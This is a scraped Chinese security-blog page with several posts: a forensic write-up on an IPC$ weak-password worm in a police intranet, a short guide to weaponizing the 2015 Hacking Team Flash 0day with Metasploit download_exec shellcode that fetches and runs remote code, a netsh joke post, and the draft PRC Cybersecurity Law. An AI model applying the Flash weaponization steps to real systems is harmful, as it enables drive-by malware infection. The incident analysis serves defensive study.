2).在手工创建任务计划时，是不会自动进行命名的，任务计划名称必须管理员手工填写，而手工填写的任务计划，不会以这样的特殊字母进行开头，如下图：
在手工创建时，必须选择你要执行该任务的程序，然后填写任务计划名称。
初步判断，是有程序在后台执行，并且创建了该任务计划，利用任务计划，执行某程序的方式，跟早些年windows NT、XP、2003等系统利用IPC$默认共享漏洞进行入侵的方式极为类似，为了验证自己的推论，在虚拟机中做了如下测试，
在windows2003服务器中，默认是开启IPC$、ADMIN$、C$这些默认共享的，虽然没有执行权限，但是依然可以利用该漏洞，在服务器中写入特定的程序，上图为建立IPC$空连接测试命令，返回“命令成功完成”，可以证明，在windows 2003系统中，该漏洞是默认存在的。
只是建立空连接的话，是没有任何危害的，假如管理员的密码为弱口令，该漏洞就会造成很大的影响，命令执行过程如下图：
根据实际测试，windows2008在不打任何补丁的情况下，只要存在弱口令，同样可以通过IPC$去写入。当时测试了win7、windows2008、windows2003系统，win7的我忘了，反正2008和2003都能执行。。
通过测试，发现利用该漏洞添加的任务计划，与之前发现的名字为“At1”的任务计划一样，而且在服务器日志中发现，在利用该漏洞添加任务计划后，会留有ANONYMOUS LOGON的登陆信息，由此可疑确定，该网络中，有部分主机存在该默认共享漏洞，而且有东西在利用该漏洞执行某些特定的程序。
通过该线索，对网内所有可访问到的服务器和个人PC进行排查，发现大部分服务器除了都有攻击行为以外，还存在弱口令、以及默认共享没有关闭、未安装补丁和杀毒软件等共同问题，而且在10.xx.80.123服务器中，发现有可疑任务计划，该任务计划在特定时间内，会执行cool_gamesetup.exe程序，且通过IPC$默认共享漏洞进行传播，经过反复测试，已确定大部分服务器都存在该高危漏洞，其中包括windows2003、windows2008等系统，如下图：
将该病毒备份后，放置虚拟机中进行动态，发现该病毒在虚拟机中，会自动进行复制，并且会对局域网中所有已存活的主机进行弱口令扫描以及漏洞探测，下图为虚拟机环境中测试结果：
其中：192.168.226.127为感染病毒主机，一旦染毒，就会向同网段的192.168.226.128发送数据包
并且访问其137、139端口。
上图为该病毒利用IPC$共享漏洞进行传播的过程
上图为病毒读取注册表项，来获取服务器名称。该病毒会读取受感染主机的计算机名称，然后获取该服务器用户信息，并利用在受感染主机中获取到的用户名对网段内所有存活主机进行暴力破解。
动态分析完了，用静态分析看下，，
通过PEID检查，发现该病毒做了加壳操作
再一次用depends来确认，确实是加了壳，还是EXECrypor，加了壳后，加载的动态函数都看不到了。
脱这个壳很简单，通过简单的单步跟踪法进行脱壳，三步就能到达真正的OEP,地址：OEP地址0005E88F
脱壳后进行修复，并载入depends再次查看，这次发现，该病毒加载的动态函数全部呈现出来了，加载了哪些功能，也就一清二楚了。
加载的这些功能我就不说了，毕竟又不是远控= =
在OD中，发现，该病毒执行后会push到开机启动项当中
根据测试结果，服务器一旦感染该病毒，该病毒会自动向同网段服务器发送数据包，进行弱口令扫描，并且连接TCP 137端口，获取当前服务器的计算机名，向其他服务器发起攻击，如果发现有服务器存在IPC$共享漏洞，则进行传染。
在测试结果中发现，该病毒会定期自动删除系统日志，时间不固定，具体删除日志的触发条件不明。
该病毒在测试中有三种不同的功能：
1、利用IPC$共享漏洞进行传播，并且扫描内网中存在弱口令的主机，如果存在弱口令，则继续利用IPC$共享漏洞传播；
2、在域环境下，病毒会拷贝硬盘下所有的文件，并且会在C盘根目录自动生成myrarwork的一个目录，将服务器上的文件都复制到该目录下，然后将搜集到的文件，复制到C:\Documents and Settings\Administrator\My Documents\目录下的TEMP文件夹下后，该文件夹会被自动执行删除操作，根据实际测试，并没有发现上传的迹象，而原来的文件，也没有被做替换，初步怀疑，需要触发某些条件，才会进行上传。。
3、在安装有SecureCRT的服务器上，会在SecureCRT的安装目录中的sessions文件夹中，自动生成名字为某某zfw（某某政法网）的文件夹，会持续生成一些IP地址和信息，包括各个地市的信息，确认了一部分，这些IP地址均为交换机、路由器地址，具体生成原因以及目的不明。
下图为该病毒在虚拟机中的测试结果：
这是病毒释放出来的东西，看起来好有针对性。。。。
测试结论：1、该漏洞是利用windwos系统中远程共享来实现传播和控制，主要运行环境为局域网，受影响的系统为XP、windows2003、windows2008等服务器，win7系统默认共享权限为只读，win7系统不在影响范围之内。从上述判断中，基本可以确定，10.xx.80.20等服务器上的攻击日志，与管理员张XX（PC为10.xx.80.24）并没有直接关系，已经排除攻击者利用服务器做跳板，访问10.xx.80.24主机的可能；2、该病毒除了利用漏洞进行传播、破坏以外，还带有信息搜集的操作，具体原因不明。初步判断认为，该病毒极有可能为定制的病毒，搜集公安网内的IP段，具有一定的针对性。
根据管理员的口述，他所管辖的几十台服务器全部都是通用密码，包括自己的办公电脑，管理密码有三，***123、***gaj、123456等三个弱口令密码。正是因为这三个弱口令，才使得该病毒在内网中迅速蔓延起来，初步统计，受该病毒影响的服务器和个人PC，将近20多台。
在排除了攻击者利用肉鸡进行攻击的情况下，调查方向再次转到管理员张XX的个人办公PC上。
三、通过对张xx主机的系统日志进行分析如下：
2014年11月20日14:29分，系统开机
2014年11月26日8:26分 系统关机
2014年11月26日8:35分系统开机，一直到12月2日0点为止，未出现关机的操作，也就是说，该PC一直处于24小时开机状态。
11月27日晚上21：25分，出现一次本地解锁操作，一直到12月1日下午16:17分未出现其他登陆信息。
同时，在日志中并没有发现与删除记录时间相符的远程登陆记录，故排除远程桌面连接的情况。
数据库日志分析：
通过对oracle日志进行分析，11月30日21:05分连接成功，22:16分数据删除成功，23:19分09秒到23:33分08秒，平均每秒连接次数达到3-5次，查询以往几个月的数据库链接信息，最多出现1秒钟2次-3次连接，相比之下，没有30日连接频繁，数据库访问异常频繁，初步怀疑是暴力破解工具所为。。
但是在出现疑似暴力破解的日志前，已经有日志显示，数据库已经被成功登陆进去了，怎么还有会出现破解呢？？
12月31日，对管理员张XX的内网办公PC进行进一步分析，发现该电脑中，连接数据库的工具日志，确实显示该PC在11月30日到12月1日凌晨有访问数据库的操作，所有的证据，都指向了该管理员的PC。
利用相关的取证工具进行取证，发现该管理员张XX的PC，与晚上22点左右有使用过光驱的操作，并且在光驱中打开了一个名字为2.rar的文件夹，并且释放过4个脚本文件，具体用途未知。
通过调取当天下午到凌晨的监控记录，发现张xx为晚上21点左右到达单位，凌晨3点左右离开单位，而在早晨7点左右，在该办公室的另一个IP地址上，有人登陆业务系统，查询被删除信息的操作，初步判断，在30日晚上到12月1日凌晨，有人在该办公室内利用管理员电脑，删改了数据。因为8楼和办公室均没有安装摄像头，所以无法准确判断当晚到凌晨，是谁在办公室使用电脑。且管理员张XX，对服务器和数据库服务器有绝对的控制权限，能直接删除数据库链接日志信息，如果该管理员所为，就不会存在数据库链接记录，而且监控显示，在事情发生时，该管理员并不在单位，故排除该管理员监守自盗的情况。
从目前所搜集到的信息，可以确定，攻击者是利用该PC机，直接登陆数据库进行操作的，具体是通过远程控制进行操作，还是直接在PC上进行控制，因为时间已久，而且U盘使用记录等操作被删除了，无法进行取证和定论，但是通过目前掌握的线索和内容，基本可以判断为，攻击确实来自IP地址为10.xx.80.24的主机。
删除记录时间为11月30日晚上到12月1日凌晨，发现问题时间为12月13号，接到电话的时间为12月23日上午，到达现场的时间为12月24日上午，中间间隔时间较长，且接触该PC机的人太多，无法从键盘、光驱等位置提取指纹线索，无法直接获取有力证据。
在12月27日左右，监控到12月1日凌晨被删除的信息，在下面的另一个派出所做了登记补录，找到链接IP地址后，到该派出所进行调查，发现出事IP为一台硬盘录像机的地址，由于该网络内并没有限制或记录MAC地址的功能，任何电脑，只要将公安网内网网线拔出，接入到个人PC后，即可伪造IP地址进行操作，因此推断，该案件为内部人所为，且为团伙作案，涉及面太广，暂时宣告终结。
总结：由于事发时间与通知调查时间相隔近1个月，大部分痕迹已无法提取，楼道和机房也没有任何的监控设备，无法准确找到入侵者的准确信息，任务宣告失败。
总体的经过就是这样。。。。
我贴出这个病毒的检测报告，当然了，不是我检测的，是文件B超系统这个东西检测的，感兴趣的可以看看哈。。
检测报告：https://www.b-chao.com/index.php/Index/show_detail/Sha1/4B013CE950A22E5CE0909A66194063BEF8804F4A
相关内容：
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
朋友点开一个文件给骗30万，一种“高级”QQ诈骗骗术，远控电脑诈骗
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
【略狗血】一种结合本地程序的更加猥琐的钓鱼方式（中招率+100%）
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
简单分析丝绸之路创始人如何被抓，FBI真的能透过TOR获取真实IP么？
全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
现在傻逼太多，骗人太好骗，淘宝搜剑灵激活码，好多10几块钱的骗子
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
分享下自己使用的保护方法篇章二（虚拟机模板环境设置） 连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置）连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置） 连载中...
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
【传奇】看职业骗子如何揭发谷歌广告服务的不法活动，谷歌5亿美元和解费
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
公告：关于前两天本站无法打开的原因 + GFW拦截规则原理剖析
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android 延迟锁定bug，安卓手机锁破解，屏幕解锁保护
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
非法获取百度推广账号 实施网络诈骗 篡改百度推广 市民被骗财
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电信诈骗，电话营销，一响挂电话，推销平安、人寿保险，冒充朋友
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
台两15岁少年开淫窟 骗12名少女为“爱”卖身 月进300万元
【公告】警惕名为:Nuclear'Atk. QQ:424244818 冒充本人的骗子黑客
DRDoS 反弹DDoS攻击 反弹DDoS攻击 力度远大于分布式DDOS攻击
留言评论（旧系统）：
佚名 @ 2015-07-17 23:29:41
跟看电影一样
本站回复：
-_-!!!
核小弟 @ 2015-07-18 17:57:12
核老大，你为何这么屌，完全看的蒙，求解释～
本站回复：
文章作者：鬼魅羊羔，-_-!!!，其实这类的很多的。
佚名 @ 2015-07-18 20:52:01
然并卵
本站回复：
-_-!!!
验证码很吊？ @ 2015-07-18 23:44:48
特地看看验证码的
本站回复：
-_-!!!
佚名 @ 2015-07-20 14:46:08
本人在香港,請問有什麼項目可以合作,郵箱是nqjaj2qj@gmail.com
本站回复：
暂没有项目…… -_-!!!
佚名 @ 2015-07-21 21:58:16
在GA上班，内网上的一些电脑上的确在一段时间内出现过cool_gamesetup.exe这个恶意程序
本站回复：
-_-!!!
佚名 @ 2015-07-22 10:34:36
通过调取当天下午到凌晨的监控记录，发现张xx为晚上21点左右到达单位，凌晨3点左右离开单位，而在早晨7点左右，在该办公室的另一个IP地址上，有人登陆业务系统， ---------------------- 管理员大半夜去干嘛？
本站回复：
去下毛片了。
~~·~ @ 2015-07-28 09:46:41
监控设施不完善。没有保护案发现场
本站回复：
+1
佚名 @ 2015-07-30 13:40:21
那么到底是谁干的呢？
本站回复：
你猜~
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-13 13:38:41
Hacking Team flash 0day 快速利用介绍
三好学生 | 2015-07-13 09:54
0x00 目标
利用Hacking Team 的flash 0day样本（CVE-2015-5119&CVE-2015-5122），改造升级，支持downloader&exec。
0x01 测试环境
Windows 7 SP1 (64-bit)
ie8.0.7600.16385
Adobe Flash Player 18,0,0,194
0x02 样本分析
已知成功环境：
Windows 7 SP1 (32-bit) IE11 Adobe Flash 18.0.0.194
Windows 7 SP1 (32-bit) Firefox 38.0.5 Adobe Flash 18.0.0.194
Windows 8.1 (32-bit) Firefox Adobe Flash 18.0.0.194
Linux Mint "Rebecca" (32 bits) Firefox 33.0 Adobe Flash 11.2.202.468
0x03 样本测试：
swf文件，ie加载后点击Run calc.exe，弹出计算器
如图1：
0x04 简单修改
需要对样本做两处修改：
改造：实现downloader&exec
升级：swf加载后自动执行shellcode
1. 生成shellcode
use windows/download_exec
set exe
set URL
generate -t dword
2.生成swf
开发环境：Adobe Flash CS6
（1）替换shellcode
ShellWin32.as和ShellWin64.as文件中Vector.<uint>内容改为shellcode
（2）实现自动触发
修改MyClass.as文件
（3）编译
---
仅作测试，不许抄作业，后果自负
各种吐槽：
1#
浮萍 | 2015-07-13 09:55
图呢
2#
三好学生 | 2015-07-13 09:56
@浮萍 我先学习一下zone怎么用~
3#
蒙塔基的钢弹 (放下面子，求真学习，拾起斗志，用心渗透！) | 2015-07-13 11:03
@三好学生 私信QQ了，可否即时交流下？
4#
三好学生 | 2015-07-13 11:25
@蒙塔基的钢弹 你骗我，我怎么没有发现私信
5#
0x02 | 2015-07-13 11:58
@三好学生 这个是还没写完？前排坐等
6#
Sunshie (http://phpinfo.me欢迎友链) | 2015-07-13 12:06
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb
7#
三好学生 | 2015-07-13 12:14
@0x02 已经无法再编辑，我该怎么办
8#
DM_ (http://x0day.me) | 2015-07-13 12:16
zone里有markdown就好了
9#
三好学生 | 2015-07-13 12:27
其余内容已被DM_和谐，与本人无关
留言评论（旧系统）：
佚名 @ 2015-07-16 10:41:29
这个MyClass.as文件怎么修改，请指教
本站回复：
具体你了解一下flash修改方法。
佚名 @ 2015-07-17 09:22:23
改成download_exec就不能运行了，
本站回复：
继续改。
佚名 @ 2015-07-20 16:25:55
win7 ie 还是崩溃 不中啊。。2003和xp是可以的 win7 要直接本地把swf拖进ie才可以。。
本站回复：
-_-!!!
佚名 @ 2015-07-29 07:19:39
给下载到桌面了 怎么设置路径呢
本站回复：
？
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-10 15:35:46
狗血的微软程序猿居然把“listenport”、“listenaddress”写错了，这是有多粗心……
看图不解释……
测试系统：Windows 7 x32 官方旗舰版（Microsoft Windows [版本 6.1.7600]）
C:\>ver Microsoft Windows [版本 6.1.7600] C:\>netsh interface portproxy delete v4tov4 一个或多个重要的参数没有输入。 请验证需要的参数，然后再次输入。 此命令提供的语法不正确。请查看帮助以获取正确的语法信息。 用法: delete v4tov4 [listenport=]<integer>|<servicename> [[listenaddress=]<IPv4 address>|<hostname>] [[protocol=]tcp] 参数: 标记 值 listenport - 要侦听的 IPv4 端口。 listenport - 要侦听的 IPv4 地址。 protocol - 要使用的协议。当前仅支持 TCP。 注释: 删除要侦听的 IPv4 的项并通过 Ipv4 代理连接。 C:\>netsh interface portproxy delete v4tov6 一个或多个重要的参数没有输入。 请验证需要的参数，然后再次输入。 此命令提供的语法不正确。请查看帮助以获取正确的语法信息。 用法: delete v4tov6 [listenport=]<integer>|<servicename> [[listenaddress=]<IPv4 address>|<hostname>] [[protocol=]tcp] 参数: 标记 值 listenport - 要侦听的 IPv4 端口。 listenport - 要侦听的 IPv4 地址。 protocol - 要使用的协议。当前仅支持 TCP。 注释: 删除要侦听的 IPv4 的项并通过 Ipv6 代理连接。 C:\>netsh interface portproxy delete v6tov4 一个或多个重要的参数没有输入。 请验证需要的参数，然后再次输入。 此命令提供的语法不正确。请查看帮助以获取正确的语法信息。 用法: delete v6tov4 [listenport=]<integer>|<servicename> [[listenaddress=]<IPv6 address>|<hostname>] [[protocol=]tcp] 参数: 标记 值 listenport - IPv6 侦听端口。 connectaddress - IPv6 连接地址。 protocol - 使用的协议。现在只支持 TCP。 说明: 删除通过 IPv4 的 IPv6 和代理连接到的侦听项目。 C:\>netsh interface portproxy delete v6tov6 一个或多个重要的参数没有输入。 请验证需要的参数，然后再次输入。 此命令提供的语法不正确。请查看帮助以获取正确的语法信息。 用法: delete v6tov6 [listenport=]<integer>|<servicename> [[listenaddress=]<IPv6 address>|<hostname>] [[protocol=]tcp] 参数: 标记 值 listenport - IPv6 侦听端口。 connectaddress - IPv6 连接地址。 protocol - 使用的协议。现在只支持 TCP。 说明: 删除通过 IPv6 的 IPv6 和代理连接到的侦听项目。 C:\>what are you 弄啥嘞？ by:https://lcx.cc/ -_-!!!到底是“listenport”还是“listenaddress”还是“listenport”还是“listenaddress”……
what are you 弄啥嘞？
WTF！
留言评论（旧系统）：
` Helen @ 2015-07-12 23:33:31
我` Helen为此事负责。
本站回复：
请出示您在微软的工号，以便我们及时投诉！ -_-!!!
`%0aHelen @ 2015-07-12 23:37:56
我`%0a%0aHelen为此事负责!
本站回复：
请出示您在微软的工号，以便我们及时投诉！ -_-!!!
helen @ 2015-07-13 09:11:52
helen 已死
本站回复：
-_-!!!
xcl @ 2015-07-15 17:29:20
算0day吗 （抠鼻）
本站回复：
你猜~（手动斜眼）
佚名 @ 2015-07-16 19:55:49
我发觉了一个bash的奇葩漏洞。。 GendeiMac:~ Gen$ bash "what are you 弄啥嘞？" bash: what are you 弄啥嘞？: No such file or directory
本站回复：
-_-!!!
天朝密探 @ 2015-08-20 23:59:01
看到这文章 下意识试试自己的 - - 与答案相符 100分
本站回复：
-_-!!!
佚名 @ 2015-08-23 20:02:31
win10还是错的
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-07-08 11:52:29
2015年6月，第十二届全国人大常委会第十五次会议初次审议了《中华人民共和国网络安全法（草案）》。现将《中华人民共和国网络安全法（草案）》在中国人大网公布，向社会公开征求意见。社会公众可以直接登录中国人大网（www.npc.gov.cn）提出意见，也可以将意见寄送全国人大常委会法制工作委员会（北京市西城区前门西大街1号，邮编：100805。信封上请注明网络安全法草案征求意见）。征求意见截止日期：2015年8月5日。
中华人民共和国网络安全法（草案）
目 录
第一章 总 则
第二章 网络安全战略、规划与促进
第三章 网络运行安全
第一节 一般规定
第二节 关键信息基础设施的运行安全
第四章 网络信息安全
第五章 监测预警与应急处置
第六章 法律责任
第七章 附 则
第一章 总 则
第一条 为了保障网络安全，维护网络空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展，制定本法。
第二条 在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理，适用本法。
第三条 国家坚持网络安全与信息化发展并重，遵循积极利用、科学发展、依法管理、确保安全的方针，推进网络基础设施建设，鼓励网络技术创新和应用，建立健全网络安全保障体系，提高网络安全保护能力。
第四条 国家倡导诚实守信、健康文明的网络行为，采取措施提高全社会的网络安全意识和水平，形成全社会共同参与促进网络安全的良好环境。
第五条 国家积极开展网络空间治理、网络技术研发和标准制定、打击网络违法犯罪等方面的国际交流与合作，推动构建和平、安全、开放、合作的网络空间。
第六条 国家网信部门负责统筹协调网络安全工作和相关监督管理工作。国务院工业和信息化、公安部门和其他有关部门依照本法和有关法律、行政法规的规定，在各自职责范围内负责网络安全保护和监督管理工作。
县级以上地方人民政府有关部门的网络安全保护和监督管理职责按照国家有关规定确定。
第七条 建设、运营网络或者通过网络提供服务，应当依照法律、法规的规定和国家标准、行业标准的强制性要求，采取技术措施和其他必要措施，保障网络安全、稳定运行，有效应对网络安全事件，防范违法犯罪活动，维护网络数据的完整性、保密性和可用性。
第八条 网络相关行业组织按照章程，加强行业自律，制定网络安全行为规范，指导会员依法加强网络安全保护，提高网络安全保护水平，促进行业健康发展。
第九条 国家保护公民、法人和其他组织依法使用网络的权利，促进网络接入普及，提升网络服务水平，为社会提供安全、便利的网络服务，保障网络信息依法有序自由流动。
任何个人和组织使用网络应当遵守宪法和法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、宣扬恐怖主义和极端主义、宣扬民族仇恨和民族歧视、传播淫秽色情信息、侮辱诽谤他人、扰乱社会秩序、损害公共利益、侵害他人知识产权和其他合法权益等活动。
第十条 任何个人和组织都有权对危害网络安全的行为向网信、工业和信息化、公安等部门举报。收到举报的部门应当及时依法作出处理；不属于本部门职责的，应当及时移送有权处理的部门。
第二章 网络安全战略、规划与促进
第十一条 国家制定网络安全战略，明确保障网络安全的基本要求和主要目标，提出完善网络安全保障体系、提高网络安全保护能力、促进网络安全技术和产业发展、推进全社会共同参与维护网络安全的政策措施等。
第十二条 国务院通信、广播电视、能源、交通、水利、金融等行业的主管部门和国务院其他有关部门应当依据国家网络安全战略，编制关系国家安全、国计民生的重点行业、重要领域的网络安全规划，并组织实施。
第十三条 国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责，组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。
国家支持企业参与网络安全国家标准、行业标准的制定，并鼓励企业制定严于国家标准、行业标准的企业标准。
第十四条 国务院和省、自治区、直辖市人民政府应当统筹规划，加大投入，扶持重点网络安全技术产业和项目，支持网络安全技术的研究开发、应用和推广，保护网络技术知识产权，支持科研机构、高等院校和企业参与国家网络安全技术创新项目。
第十五条 各级人民政府及其有关部门应当组织开展经常性的网络安全宣传教育，并指导、督促有关单位做好网络安全宣传教育工作。
大众传播媒介应当有针对性地面向社会进行网络安全宣传教育。
第十六条 国家支持企业和高等院校、职业学校等教育培训机构开展网络安全相关教育与培训，采取多种方式培养网络安全技术人才，促进网络安全技术人才交流。
第三章 网络运行安全
第一节 一般规定
第十七条 国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求，履行下列安全保护义务，保障网络免受干扰、破坏或者未经授权的访问，防止网络数据泄露或者被窃取、篡改：
（一）制定内部安全管理制度和操作规程，确定网络安全负责人，落实网络安全保护责任；
（二）采取防范计算机病毒和网络攻击、网络入侵等危害网络安全行为的技术措施；
（三）采取记录、跟踪网络运行状态，监测、记录网络安全事件的技术措施，并按照规定留存网络日志；
（四）采取数据分类、重要数据备份和加密等措施；
（五）法律、行政法规规定的其他义务。
网络安全等级保护的具体办法由国务院规定。
第十八条 网络产品、服务应当符合相关国家标准、行业标准。网络产品、服务的提供者不得设置恶意程序；其产品、服务具有收集用户信息功能的，应当向用户明示并取得同意；发现其网络产品、服务存在安全缺陷、漏洞等风险时，应当及时向用户告知并采取补救措施。
网络产品、服务的提供者应当为其产品、服务持续提供安全维护；在规定或者当事人约定的期间内，不得终止提供安全维护。
第十九条 网络关键设备和网络安全专用产品应当按照相关国家标准、行业标准的强制性要求，由具备资格的机构安全认证合格或者安全检测符合要求后，方可销售。国家网信部门会同国务院有关部门制定、公布网络关键设备和网络安全专用产品目录，并推动安全认证和安全检测结果互认，避免重复认证、检测。
第二十条 网络运营者为用户办理网络接入、域名注册服务，办理固定电话、移动电话等入网手续，或者为用户提供信息发布服务，应当在与用户签订协议或者确认提供服务时，要求用户提供真实身份信息。用户不提供真实身份信息的，网络运营者不得为其提供相关服务。
国家支持研究开发安全、方便的电子身份认证技术，推动不同电子身份认证技术之间的互认、通用。
第二十一条 网络运营者应当制定网络安全事件应急预案，及时处置系统漏洞、计算机病毒、网络入侵、网络攻击等安全风险；在发生危害网络安全的事件时，立即启动应急预案，采取相应的补救措施，并按照规定向有关主管部门报告。
第二十二条 任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法；不得为他人实施危害网络安全的活动提供技术支持、广告推广、支付结算等帮助。
第二十三条 为国家安全和侦查犯罪的需要，侦查机关依照法律规定，可以要求网络运营者提供必要的支持与协助。
第二十四条 国家支持网络运营者之间开展网络安全信息收集、分析、通报和应急处置等方面的合作，提高网络运营者的安全保障能力。
有关行业组织建立健全本行业的网络安全保护规范和协作机制，加强对网络安全风险的分析评估，定期向会员进行风险警示，支持、协助会员应对网络安全风险。
第二节 关键信息基础设施的运行安全
第二十五条 国家对提供公共通信、广播电视传输等服务的基础信息网络，能源、交通、水利、金融等重要行业和供电、供水、供气、医疗卫生、社会保障等公共服务领域的重要信息系统，军事网络，设区的市级以上国家机关等政务网络，用户数量众多的网络服务提供者所有或者管理的网络和系统（以下称关键信息基础设施），实行重点保护。关键信息基础设施安全保护办法由国务院制定。
